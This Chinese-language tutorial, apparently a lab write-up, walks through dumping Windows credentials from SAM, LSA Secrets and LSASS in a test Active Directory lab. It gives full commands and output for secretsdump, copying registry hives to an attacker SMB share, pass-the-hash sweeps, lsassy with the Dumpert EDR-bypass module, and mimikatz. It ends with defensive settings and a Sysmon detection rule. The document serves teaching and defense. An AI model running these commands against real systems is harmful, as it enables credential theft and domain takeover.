在 Day 10 我們學習了:
在 Day 11 我們學習了:
今天 Day 16,我們要深入探討 Day 10/11 沒有涵蓋的進階技術:
在完成今天的實作後,將能夠:
在開始之前,確保已經完成:
jeor.mormont:_L0ngCl@w_
(CASTELBLACK 的管理員)catelyn.stark:robbsansabradonaryarickon
(高權限域使用者)# 確認 Impacket 工具完整
which secretsdump.py
which psexec.py
which wmiexec.py
which smbexec.py
which atexec.py
which dcomexec.py
# 安裝 lsassy
pip3 install lsassy
# 安裝 Evil-WinRM
sudo gem install evil-winrm
我們再次理解 Windows 系統中儲存憑證的三個關鍵位置。
就像是在打寶遊戲中尋找寶箱,你必須知道寶藏藏在哪裡才能嘗試它們。
Windows 憑證儲存
├── SAM (Security Account Manager)
│ ├── 位置: C:\Windows\System32\config\SAM
│ ├── 註冊表: HKLM\SAM
│ ├── 內容: 本機帳號的 LM/NT Hash
│ └── 用途: 本機認證、Password Reuse 攻擊
│
├── LSA Secrets (Local Security Authority)
│ ├── 位置: C:\Windows\System32\config\SECURITY
│ ├── 註冊表: HKLM\SECURITY
│ ├── 內容:
│ │ ├── 快取的域憑證 (DCC2)
│ │ ├── 機器帳號密碼
│ │ ├── 服務帳號密碼
│ │ ├── DPAPI 主密鑰
│ │ └── 自動登入密碼
│ └── 用途: 離線域認證、服務帳號利用
│
└── LSASS (Local Security Authority Subsystem Service)
├── 位置: 記憶體中的 lsass.exe (本機安全性授權子系統服務)
├── 內容:
│ ├── 明文密碼 (如果啟用 WDigest)
│ ├── NT Hash
│ ├── Kerberos TGT/TGS
│ ├── AES Keys
│ └── CredSSP 憑證
└── 用途: 即時橫向移動、Pass-the-Ticket
憑證類型 | 儲存位置 | 可否 PTH | 可否 PTT | 破解難度 | 橫向移動價值 |
---|---|---|---|---|---|
NT Hash | SAM/LSA/LSASS | ✅ | ❌ | 中 | 🔴 高 |
LM Hash | SAM (舊系統) | ✅ | ❌ | 低 | 🟡 中 |
DCC2 | LSA Secrets | ❌ | ❌ | 極高 | 🟢 低 (需破解) |
TGT | LSASS | ❌ | ✅ | - | 🔴 極高 |
TGS | LSASS | ❌ | ✅ | - | 🟡 中 |
AES Key | LSASS | ❌ | ✅ | - | 🔴 高 |
明文密碼 | LSASS (舊系統) | ✅ | ✅ | - | 🔴 極高 |
Security Account Manager (SAM) 是 Windows 系統用來儲存本機使用者帳號和安全描述符的資料庫。
關鍵特性:
C:\Windows\System32\config\SAM
HKLM\SAM
為什麼需要 SYSTEM 檔案?
SAM 資料庫的內容使用 SYSKEY 加密,這個密鑰儲存在 SYSTEM 檔案中:
C:\Windows\System32\config\SYSTEM
HKLM\SYSTEM
最簡單的方法是使用 Impacket 的 secretsdump 工具:
# 遠端提取 SAM (需要管理員權限)
secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22
預期輸出:
Impacket v0.10.1.dev1+20220912.232454.86a5cbf8 - Copyright 2022 SecureAuth Corporation
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9753797dfb54be86486d950690bac8ba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Cleaning up...
[*] Stopping service RemoteRegistry
輸出格式解析:
<Username>:<RID>:<LM hash>:<NT hash>:::
以 Administrator 為例:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Administrator
500
(Administrator 的固定 RID)aad3b435b51404eeaad3b435b51404ee
dbd13e1c4e338284ac4e9874f7de6ef4
如果你已經有一個 Shell,可以手動導出:
步驟 1: 在攻擊機啟動 SMB 伺服器
# 啟動 SMB 伺服器接收檔案
impacket-smbserver share . -smb2support
步驟 2: 從目標機器導出註冊表
# 使用 Impacket reg.py (遠端執行)
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SAM' -o '\\192.168.139.136\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.139.136\share'
或在目標機器的 Windows Shell 中執行:
# 直接在 Windows 上執行
reg save HKLM\SAM c:\temp\sam
reg save HKLM\SYSTEM c:\temp\system
# 傳輸到攻擊機
copy c:\temp\sam \\192.168.139.136\share\
copy c:\temp\system \\192.168.139.136\share\
步驟 3: 本地解密
# 使用 secretsdump 離線解密
secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
重要提醒:
帳號類型 | 儲存位置 | 範例 | 適用範圍 |
---|---|---|---|
本機帳號 | SAM 資料庫 | Administrator, vagrant | 僅該機器 |
域帳號 | 域控制器 (NTDS.dit) | jeor.mormont, catelyn.stark | 整個域 |
快取的域帳號 | LSA Secrets | (DCC2 format) | 離線認證用 |
關鍵洞察:
SAM 只儲存本機帳號,但這不代表沒有價值:
在企業環境中,以下情況極為常見:
場景 1: 映像檔複製
IT 部門建立標準映像檔
├── 設定本機 Administrator 密碼: P@ssw0rd123
├── 複製到 100 台伺服器
└── 結果: 100 台機器的本機管理員密碼相同
場景 2: 域控制器提升
CASTELBLACK 機器提升為域控制器前:
├── 本機 Administrator 密碼: MySecretPass
└── 提升為 DC 後:
├── 本機 Administrator → 域 Administrator
└── 密碼保持不變!
LAPS(Local Administrator Password Solution,本機系統管理員密碼解決方案) 是微軟推出的工具,用來管理「加入網域的電腦」上的 本機 Administrator 帳號密碼。
什麼是 Pass-the-Hash?
正常認證流程:
使用者輸入密碼 → 計算 NT Hash → 用於認證
Pass-the-Hash 攻擊:
直接使用竊取的 NT Hash → 用於認證 (跳過需要密碼的步驟!)
為什麼 PTH 可行?
NTLM 認證協定的設計允許使用 Hash 值直接進行 Challenge-Response 認證,而不需要知道原始密碼。
使用 CrackMapExec 批次測試:
# 測試本機 Administrator Hash 在所有機器上的有效性
crackmapexec smb 192.168.139.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth
參數說明:
192.168.139.10-23
: 掃描 IP 範圍-u Administrator
: 使用 Administrator 帳號-H 'hash'
: 使用 NT Hash 而非密碼--local-auth
: 使用本機認證 (不透過域)輸出:
SMB 192.168.139.22 445 CASTELBLACK [+] CASTELBLACK\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
SMB 192.168.139.10 445 KINGSLANDING [-] SEVENKINGDOMS\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4
SMB 192.168.139.11 445 WINTERFELL [-] NORTH\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4
SMB 192.168.139.23 445 BRAAVOS [-] ESSOS\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4
結果分析:
(Pwn3d!)
= 有管理員權限CASTELBLACK 的本機 Administrator Hash 可能就是域的 Administrator Hash!
測試域層級的密碼重用:
# 移除 --local-auth,測試域認證
crackmapexec smb 192.168.139.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
預期輸出:
SMB 192.168.139.11 445 WINTERFELL [+] north.sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
SMB 192.168.139.22 445 CASTELBLACK [+] north.sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
從測試結果可以發現我們現在是 north.sevenkingdoms.local 的域管理員!
攻擊鏈總結:
1. 控制 CASTELBLACK (成員伺服器)
↓
2. 提取本機 SAM 資料庫
↓
3. 獲得本機 Administrator NT Hash
↓
4. 測試密碼重用
↓
5. 發現域 Administrator 使用相同密碼
↓
6. 成為域管理員!
術語 | 全名 | 用途 | 儲存位置 | 可否 PTH | 可否 Relay | Hashcat 模式 | 備註 |
---|---|---|---|---|---|---|---|
LM | LAN Manager Hash | 舊式密碼 Hash | SAM/NTDS.dit | ✅ 可 (舊系統) | ❌ 不可 | 3000 | Vista/2008+ 預設停用 |
NT | NT Hash(俗稱 NTLM Hash) | 現代密碼 Hash | SAM/NTDS.dit/LSASS | ✅ 可 (PTH 核心) | ❌ 不可 | 1000 | MD4 演算法;可 Overpass-the-Hash (NT→TGT) |
NetNTLMv1 | Net-NTLMv1 | Challenge-Response 認證 | 網路傳輸 (不持久儲存) | ❌ 不可 | ✅ 可 | 5500 | 需破解才能獲得 NT Hash;Relay 要求目標未啟用 SMB Signing |
NetNTLMv2 | Net-NTLMv2 | Challenge-Response 認證 (強化版) | 網路傳輸 (不持久儲存) | ❌ 不可 | ⚠️ 有條件可 | 5600 | Relay 條件:• 目標未啟用 SMB Signing• HTTP/LDAP 未啟用 EPA• LDAPS 需 Drop-the-MIC (CVE-2019-1040) |
DCC2 | Domain Cached Credentials 2 | 快取域憑證 | SECURITY hive(LSA Secrets) | ❌ 不可 | ❌ 不可 | 2100 | PBKDF2-HMAC-SHA1 (10240 iterations),極難破解 |
特性:
識別方式:
aad3b435b51404eeaad3b435b51404ee
這個特殊值代表 "空的" 或 "已停用"
安全問題:
特性:
MD4(UTF-16-LE(password))
用途:
重要釐清:
NT Hash ≠ 可以 Relay
NT Hash = 可以 Pass-the-Hash
NetNTLM = 可以 Relay
範例:
dbd13e1c4e338284ac4e9874f7de6ef4
常見混淆點:
很多人把 NT Hash 叫做 "NTLM Hash",這在技術上不完全準確:
特性:
認證流程:
1. 客戶端 → 伺服器: 請求認證
2. 伺服器 → 客戶端: Challenge (8 bytes 隨機數)
3. 客戶端: 使用 NT Hash 加密 Challenge → Response
4. 客戶端 → 伺服器: Response
5. 伺服器: 驗證 Response
來源:
格式範例:
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
格式結構:
username::domain:LM_response:NTLM_response:challenge
用途:
破解範例:
# 使用 hashcat 破解
hashcat -m 5500 netntlmv1.txt /usr/share/wordlists/rockyou.txt
特性:
格式範例:
admin::DOMAIN:1122334455667788:A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4:0101000000000000C0653150DE09D201A1B2C3D4E5F6A1B2000000000200120044004F004D00410049004E0001001200530045005200560045005200...
格式結構:
username::domain:challenge:NTProofStr:blob
其中 blob 包含:
用途:
Relay 條件 (重要!):
NetNTLMv2 可以 Relay,但需要滿足:
目標協定 | Relay 條件 | 繞過方法 |
---|---|---|
SMB | 目標未啟用 SMB Signing | 無法繞過,簽章強制時不可 Relay |
HTTP | 未啟用 EPA (Extended Protection) | CVE-2019-1040 (Drop-the-MIC) |
LDAP | 未啟用 LDAP Signing 或 Channel Binding | CVE-2019-1040 |
LDAPS | 需繞過 Channel Binding | CVE-2019-1040 (Drop-the-MIC) |
破解範例:
# 使用 hashcat 破解
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt
特性:
PBKDF2-HMAC-SHA1(MD4(password), username, 10240 iterations)
為什麼需要 DCC2?
場景: 員工帶筆電離開公司,無法連線到域控制器
格式範例:
$DCC2$10240#username#hash
實例:
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
用途:
破解難度對比:
Hash 類型 | 迭代次數 | 破解速度 (相對) | 實際可行性 |
---|---|---|---|
NTLM | 1 | 100% | ✅ 容易 |
NetNTLMv2 | 1 | ~80% | ✅ 可能 (看密碼強度) |
DCC2 | 10,240 | ~1% | ⚠️ 困難 (弱密碼才可能) |
破解範例:
# 使用 hashcat 破解 (極慢!)
hashcat -m 2100 dcc2.txt /usr/share/wordlists/rockyou.txt
# 預期速度 (RTX 3090):
# NTLM: ~100 GH/s
# DCC2: ~1 MH/s (慢 100,000 倍!)
提取 DCC2:
# 使用 secretsdump
secretsdump.py DOMAIN/user:pass@target
# 輸出中的 "Dumping cached domain logon information" 部分即為 DCC2
你取得/提取到一個 Hash,如何判斷類型?
觀察格式
├─ 長度 32 字元,純 hex (無分隔符)
│ └─ NT Hash
│ ├─ 儲存在 SAM/NTDS.dit/LSASS
│ ├─ 可以 PTH ✅
│ ├─ 可以 Overpass-the-Hash ✅
│ └─ 不能 Relay ❌
│
├─ 包含 :: 分隔符,很長
│ └─ NetNTLM (Challenge-Response)
│ ├─ 判斷版本: 看 response 部分長度
│ │ ├─ 短 (~48 hex) → NetNTLMv1 (-m 5500)
│ │ └─ 長 (>100) → NetNTLMv2 (-m 5600)
│ ├─ 可以破解 ✅
│ ├─ 可以 Relay ⚠️ (有條件)
│ └─ 不能 PTH ❌
│
└─ 格式 $DCC2$10240#username#hash
└─ DCC2 (快取憑證)
├─ 儲存在 LSA Secrets
├─ 只能破解 ✅ (但極難)
├─ 不能 PTH ❌
└─ 不能 Relay ❌
❌ 錯誤說法 | ✅ 正確說法 |
---|---|
"我用 Responder 抓到 NTLM Hash 要做 PTH" | "我用 Responder 抓到 NetNTLMv2,要破解或 Relay" |
"我從 SAM 提取的 NetNTLM" | "我從 SAM 提取的 NT Hash" |
"這個 NetNTLMv2 可以直接 PTH" | "這個 NetNTLMv2 需要先破解才能 PTH" |
"NTLM Hash 可以 Relay" | "NetNTLM 可以 Relay,NT Hash 不行" |
"DCC2 可以用於橫向移動" | "DCC2 只能破解(且很難),不能直接使用" |
場景 | 獲得的是... | 可用攻擊 |
---|---|---|
提取 SAM 資料庫 | NT Hash | PTH, Overpass-the-Hash, 破解 |
提取 NTDS.dit (DCSync) | NT Hash | PTH, Overpass-the-Hash, 破解 |
Responder 取得認證 | NetNTLMv1/v2 | Relay, 破解 |
LLMNR/NBT-NS 投毒 | NetNTLMv1/v2 | Relay, 破解 |
提取 LSA Secrets | DCC2 + 機器帳號 NT Hash | DCC2 破解(難), 機器帳號可 PTH |
LSASS 記憶體傾印 | NT Hash + Kerberos 票證 | PTH, PTT, 破解 |
ADCS 攻擊 | 憑證 (PFX) | PTC (獲得 Hash/TGT) |
Local Security Authority (LSA) 是 Windows 安全子系統的一部分,負責儲存各種敏感資訊。
儲存位置:
C:\Windows\System32\config\SECURITY
HKLM\SECURITY
儲存內容:
LSA Secrets 包含的寶藏
├── 快取的域憑證 (DCC2 Hash)
│ └── 用途: 離線域認證
├── 機器帳號密碼 ($MACHINE.ACC)
│ └── 用途: 機器帳號的 NT Hash
├── 服務帳號密碼 (_SC_*)
│ └── 用途: 服務註冊的明文密碼
├── DPAPI 主密鑰
│ └── 用途: 解密使用者資料
├── NL$KM
│ └── 用途: 快取憑證加密密鑰
└── 自動登入密碼
└── 用途: 自動登入的明文密碼
方法 1: 使用 secretsdump (一次搞定)
secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22
完整輸出分析:
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
NORTH.SEVENKINGDOMS.LOCAL/Administrator:$DCC2$10240#Administrator#afb576755bfd2762f808e2e91eb83eb3
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5
NORTH.SEVENKINGDOMS.LOCAL/jeor.mormont:$DCC2$10240#jeor.mormont#36d673a934e86d04ece208fc2ba1d402
DCC2 Hash 詳解:
$DCC2$迭代次數#使用者名稱#hash
破解 DCC2:
# 儲存 hash
cat > dcc2.hash << 'EOF'
$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
EOF
# 使用 hashcat 破解
hashcat -m 2100 dcc2.hash /usr/share/wordlists/rockyou.txt
# ⚠️ 注意: DCC2 極難破解,除非密碼很弱
# 可以利用底下已經知道明文密碼的 sql 帳號來測試
echo '$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a' > dcc2_hash.txt
echo 'YouWillNotKerboroast1ngMeeeeee' > password.txt
hashcat -m 2100 dcc2_hash.txt password.txt
繼續查看 secretsdump 輸出:
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:3f73496074e4a6bda4eaea54a048eb80790e36e6c1ecaad480cd5a8b1bf4b439
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:064a4d1d1716e0e6ec467f568c8e6cbf
NORTH\CASTELBLACK$:des-cbc-md5:ce1a4c3bdff4a2fb
NORTH\CASTELBLACK$:plain_password_hex:23004c0069005b003600450041004900380024005b002c005400790041006300630030005b002d004b00340052002f0053005200560046005d0059006c00220049005d007700600049005e00550050006e00590055004000450079006700390041004400610041003a002e007a0043005300390078002f0064003f004d004b00630060006000570062007a0067004b006a0025006a007a002e0067003300450057003600610020003f00670020003f002a00600075002c0043002f004d0022005f007300740040003a003b00360075006e0046002f004b0026004200230024005b0028007a005c002a00360058007000
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf:::
機器帳號 Hash 用途:
用途 | 說明 | 範例 |
---|---|---|
LDAP 查詢 | 機器帳號也是有效的域帳號 | ldapsearch -U 'CASTELBLACK$' -H ... |
BloodHound | 以機器身份收集資料 | bloodhound-python -u 'CASTELBLACK$' -H ... |
委派攻擊 | 如果機器有委派權限 | RBCD、Unconstrained Delegation |
提取機器帳號 Hash:
機器帳號: CASTELBLACK$
NT Hash: 22d57aa0196b9e885130414dc88d1a95
服務帳號密碼:
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
關鍵發現:
sql_svc
YouWillNotKerboroast1ngMeeeeee
為什麼是明文?
Windows 服務需要儲存帳號密碼以便啟動服務。LSA Secrets 中的 _SC_*
項目包含這些明文密碼。
其他重要資訊:
[*] DPAPI_SYSTEM
dpapi_machinekey:0x8ee2a1f0f4c1689343c9d954b1422661262a52a3
dpapi_userkey:0xad6d3e6789682c3429236b14411f92f406792486
用途: 解密使用者的 DPAPI 保護資料 (瀏覽器密碼、RDP 憑證等)
[*] NL$KM
0000 39 FB 46 D8 43 B6 EC E6 DE D7 CE 1C 50 2D AE B4 9.F.C.......P-..
0010 4F 71 E1 25 BF 5E FB 14 86 14 D6 A3 0F 93 DE 42 Oq.%.^.........B
...
用途: 快取域憑證的加密密鑰
# 步驟 1: 啟動 SMB 伺服器
impacket-smbserver share . -smb2support
# 步驟 2: 導出 SECURITY 和 SYSTEM
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.139.136\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.139.136\share'
## 如果下載失敗
# 先用本地路徑儲存
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 save -keyName 'HKLM\SYSTEM' -o 'C:\Windows\Temp'
# 然後用 smbclient 下載,記得輸入密碼,密碼不會出現螢幕上
smbclient //192.168.139.22/C$ -U NORTH/jeor.mormont
> cd Windows\Temp
> get SYSTEM.save
# 步驟 3: 離線解密
secretsdump.py -security SECURITY.save -system SYSTEM.save LOCAL
LSA Secrets 提取成功
├── 發現 DCC2 Hash
│ ├── 嘗試破解弱密碼
│ └── 成功 → 獲得域帳號明文密碼
│
├── 發現機器帳號 Hash
│ ├── 使用機器帳號查詢 LDAP
│ ├── 執行 BloodHound 收集
│ └── 檢查是否有委派權限
│
└── 發現服務帳號明文密碼
├── 直接使用密碼登入
├── 檢查該帳號的域權限
└── 搜尋密碼重用
實戰案例: 使用機器帳號執行 BloodHound
# 使用提取的機器帳號 Hash
bloodhound-python -u 'CASTELBLACK$' \
--hashes 'aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf' \
-d north.sevenkingdoms.local \
-dc winterfell.north.sevenkingdoms.local \
-ns 192.168.139.11 \
-c All
bloodhound-python -u 'CASTELBLACK$' \
--hashes 'aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf' \
-d north.sevenkingdoms.local \
-dc winterfell.north.sevenkingdoms.local \
-ns 192.168.139.11 \
-c All
-c All
:收集所有資訊(最完整)-c DCOnly
:只收集 DC 資訊(較快)-c Group,LocalAdmin,Session,Trusts
:自定義收集項目預期輸出
成功執行後會生成 JSON 檔案:
INFO: Found AD domain: north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found X computers
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 15S
然後可以將生成的 .json
檔案匯入 BloodHound GUI 進行分析!
Local Security Authority Subsystem Service (LSASS) 是 Windows 中負責安全策略和身份驗證的關鍵。
為什麼 LSASS 如此重要?
LSASS.exe 包含
├── 所有登入使用者的憑證
│ ├── 明文密碼 (如果啟用 WDigest)
│ ├── NT Hash
│ ├── Kerberos 票證 (TGT/TGS)
│ ├── AES256/128 Keys
│ └── CredSSP 憑證
│
├── 認證套件
│ ├── MSV1_0 (NTLM)
│ ├── Kerberos
│ ├── WDigest (Windows 7/8)
│ └── CredSSP
│
└── 安全權杖
└── 用於本地安全驗證
LSASS vs SAM/LSA:
特性 | SAM/LSA | LSASS |
---|---|---|
儲存位置 | 磁碟檔案 | 記憶體中 |
包含內容 | 本機/歷史憑證 | 目前活躍憑證 |
提取時機 | 隨時 | 需要有活躍登入 |
價值 | 中 | 極高 |
偵測難度 | 低 | 高 (防毒會警報) |
最著名的 LSASS 傾印工具:
# 在目標 Windows 機器上執行
mimikatz.exe
# 提升權限
privilege::debug
# 傾印 LSASS
sekurlsa::logonpasswords
# 導出 Kerberos 票證
sekurlsa::tickets /export
問題:
lsassy 是什麼?
lsassy 是一個 Python 工具,可以遠端傾印多台機器的 LSASS 記憶體,支援多種傾印方法和防毒繞過技術。
特性:
安裝:
pip3 install lsassy
# 基本用法 (使用預設方法)
lsassy -d north.sevenkingdoms.local \
-u jeor.mormont \
-p '_L0ngCl@w_' \
192.168.139.22
預期輸出:
192.168.139.22 - NORTH\CASTELBLACK$ [NT] aa9f662562792331251c9e43b72c5caf | [SHA1] 864f956c6a5a0237fc6af5932b05948a7e7ef15e
192.168.139.22 - north.sevenkingdoms.local\CASTELBLACK$ [PWD] #Li[6EAI8$[,TyAcc0[-K4R/SRVF]Yl"I]w`I^UPnYU@Eyg9ADaA:.zCS9x/d?MKc``WbzgKj%jz.g3EW6a ?g ?*`u,C/M"_st@:;6unF/K&B#$[(z\*6Xp
192.168.139.22 - NORTH\sql_svc [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\sql_svc [PWD] YouWillNotKerboroast1ngMeeeeee
192.168.139.22 - NORTH\robb.stark [NT] 831486ac7f26860c9e2f51ac91e1a07a | [SHA1] 3bea28f1c440eed7be7d423cefebb50322ed7b6c
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_74b27eaa_20250930175441.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_1ed6d9fc_20250930175441.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\robb.stark [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 18:30 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_eb5ffd3e_20250930183032.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\robb.stark [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 18:30 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_c93a09f8_20250930183032.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_a031d455_20250930175438.kirbi)
192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2025-09-30 17:54 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_e5b05a62_20250930175438.kirbi)
15 Kerberos tickets written to /home/kali/.config/lsassy/tickets
5 masterkeys saved to /home/kali/.config/lsassy/masterkeys.txt
LSASS (Local Security Authority Subsystem Service) 是 Windows 的核心安全,負責:
透過傾印 LSASS 記憶體,可以提取這些憑證。
# 傳統工具如 Mimikatz 會被偵測
mimikatz.exe "sekurlsa::logonpasswords"
# ❌ 容易被防毒軟體攔截
# 下載並編譯 Dumpert
git clone https://github.com/outflanknl/Dumpert
# 使用 Visual Studio 編譯成 DLL
lsassy -d north.sevenkingdoms.local \ # 域名
-u jeor.mormont \ # 用戶名
-p '_L0ngCl@w_' \ # 密碼
192.168.139.22 \ # 目標 IP
-m dumpertdll \ # 使用 dumpert 模組
-O dumpertdll_path=/path/to/dll # DLL 路徑
1. 需要先從 GitHub 下載並編譯 Dumpert
2. DLL 需要與目標系統架構匹配(x64/x86)
3. 某些 EDR 現在已經能偵測 Dumpert 的特徵
1. 上傳 Dumpert DLL 到目標機器
2. 注入 DLL 到 LSASS
3. 執行記憶體傾印
4. 提取憑證(明文密碼、NTLM hash、Kerberos 票據)
5. 清理痕跡(刪除上傳的檔案)
攻擊工具 → Windows API → Kernel
↑
EDR Hook(被攔截)
Dumpert → 直接系統調用 → Kernel
(繞過 API hooks)
⚠️ 重要提醒:
即使防毒觸發警報,lsassy 通常還是能在被阻止前提取到憑證。但這會留下日誌記錄!
假設一個高權限使用者遠端登入到 CASTELBLACK:
# 在另一個終端,模擬特權使用者登入
xfreerdp3 /d:north.sevenkingdoms.local \
/u:catelyn.stark \
/p:robbsansabradonaryarickon \
/v:castelblack.north.sevenkingdoms.local \
/cert:ignore
立即執行 lsassy 傾印:
lsassy -d north.sevenkingdoms.local \
-u jeor.mormont \
-p '_L0ngCl@w_' \
192.168.139.22
新的輸出:
+ 192.168.139.22 - NORTH\catelyn.stark [NT] cba36eccfd9d949c73bc73715364aff5
+ 192.168.139.22 - NORTH.SEVENKINGDOMS.LOCAL\catelyn.stark [TGT] (兩張票據)
NORTH\catelyn.stark
├── NT: cba36eccfd9d949c73bc73715364aff5
├── SHA1: be37d26374175f082b2c536d3114bafb2ad0e4fc
└── TGT: catelyn.stark.kirbi
成功取得高權限使用者的憑證!
方法 | 說明 | 繞過能力 | 需要工具 |
---|---|---|---|
comsvcs | 使用 comsvcs.dll | 低 | 內建 |
procdump | Sysinternals Procdump | 中 | 需上傳 |
dumpert | Outflank Dumpert | 高 | 需上傳 DLL |
nanodump | 輕量級傾印 | 高 | 需上傳 |
ppldump | 繞過 PPL 保護 | 極高 | 需驅動程式 |
選擇建議:
有防毒/EDR?
├─ 是 → dumpertdll 或 nanodump
└─ 否 → comsvcs (最快最簡單)
LSASS 有 PPL 保護?
└─ 使用 ppldump (需要 BYOVD 技術)
防禦措施:
啟用 Credential Guard
# 啟用 Credential Guard (需要重啟)
Enable-WindowsOptionalFeature -Online -FeatureName "VirtualizationBasedSecurity" -All
啟用 LSA Protection (RunAsPPL)
# 設定 LSASS 為受保護
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" -Value 1 -PropertyType DWORD
禁用 WDigest (防止明文密碼儲存)
# 已經是 Windows 8.1+ 的預設設定
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name "UseLogonCredential" -Value 0
偵測方法:
監控以下 Windows 事件:
Event ID | 描述 | 嚴重性 |
---|---|---|
10 (Sysmon) | 存取 (LSASS) | 🔴 極高 |
4656 | 物件存取請求 | 🟡 中 |
4663 | 嘗試存取物件 | 🟡 中 |
Sysmon 規則範例:
<Sysmon schemaversion="4.30">
<EventFiltering>
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
<GrantedAccess condition="is">0x1010</GrantedAccess>
<GrantedAccess condition="is">0x1410</GrantedAccess>
<GrantedAccess condition="is">0x147a</GrantedAccess>
</ProcessAccess>
</EventFiltering>
</Sysmon>
